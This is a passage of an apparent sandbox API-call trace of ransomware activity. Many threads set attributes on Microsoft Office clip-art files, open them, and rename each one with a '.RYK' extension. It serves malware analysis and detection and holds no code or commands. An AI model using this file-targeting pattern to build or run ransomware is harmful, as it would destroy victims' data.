	[0233.243] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1354
	os_tid = 0x1b60

	[0232.990] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF", dwFileAttributes=0x80) returned 0
	[0233.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.223] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.223] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1355
	os_tid = 0x1b64

	[0232.991] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF", dwFileAttributes=0x80) returned 0
	[0233.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.241] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.241] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1356
	os_tid = 0x1b68

	[0233.082] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF", dwFileAttributes=0x80) returned 0
	[0233.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.239] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.239] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1357
	os_tid = 0x1b6c

	[0233.083] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF", dwFileAttributes=0x80) returned 0
	[0233.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.237] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.237] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1358
	os_tid = 0x1b70

	[0233.083] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF", dwFileAttributes=0x80) returned 0
	[0233.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.235] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.235] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1359
	os_tid = 0x1b74

	[0233.084] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF", dwFileAttributes=0x80) returned 0
	[0233.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.321] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.321] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1360
	os_tid = 0x1b78

	[0233.084] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF", dwFileAttributes=0x80) returned 0
	[0233.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.337] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.337] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1361
	os_tid = 0x1b7c

	[0233.085] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF", dwFileAttributes=0x80) returned 0
	[0233.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.232] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.232] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1362
	os_tid = 0x1b80

	[0233.085] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF", dwFileAttributes=0x80) returned 0
	[0233.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.338] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.338] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1363
	os_tid = 0x1b84

	[0233.085] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF", dwFileAttributes=0x80) returned 0
	[0233.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.340] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.340] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1364
	os_tid = 0x1b88

	[0233.087] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF", dwFileAttributes=0x80) returned 0
	[0233.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.342] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.342] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1365
	os_tid = 0x1b8c

	[0233.088] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF", dwFileAttributes=0x80) returned 0
	[0233.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.343] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.343] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1366
	os_tid = 0x1b90

	[0233.088] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF", dwFileAttributes=0x80) returned 0
	[0233.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.345] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.346] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1367
	os_tid = 0x1b94

	[0233.131] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF", dwFileAttributes=0x80) returned 0
	[0233.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.348] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.348] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1368
	os_tid = 0x1b98

	[0233.132] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF", dwFileAttributes=0x80) returned 0
	[0233.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.351] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.351] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1369
	os_tid = 0x1b9c

	[0233.133] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF", dwFileAttributes=0x80) returned 0
	[0233.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.361] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.361] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1370
	os_tid = 0x1ba0

	[0233.134] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF", dwFileAttributes=0x80) returned 0
	[0233.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.362] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.362] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1371
	os_tid = 0x1ba4

	[0233.134] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID", dwFileAttributes=0x80) returned 0
	[0233.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.189] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.189] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1372
	os_tid = 0x1ba8

	[0233.135] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF", dwFileAttributes=0x80) returned 0
	[0233.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.356] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.356] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1373
	os_tid = 0x1bac

	[0233.136] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF", dwFileAttributes=0x80) returned 0
	[0233.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.187] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.188] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1374
	os_tid = 0x1bb0

	[0233.136] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF", dwFileAttributes=0x80) returned 0
	[0233.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.186] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.186] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1375
	os_tid = 0x1bb4

	[0233.137] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF", dwFileAttributes=0x80) returned 0
	[0233.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.357] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.357] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1376
	os_tid = 0x1bb8

	[0233.138] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF", dwFileAttributes=0x80) returned 0
	[0233.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.359] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.359] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1377
	os_tid = 0x1bbc

	[0233.139] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF", dwFileAttributes=0x80) returned 0
	[0233.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.353] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.353] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1378
	os_tid = 0x1bc0

	[0233.257] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF", dwFileAttributes=0x80) returned 0
	[0233.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.376] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.376] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1379
	os_tid = 0x1bc4

	[0233.258] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF", dwFileAttributes=0x80) returned 0
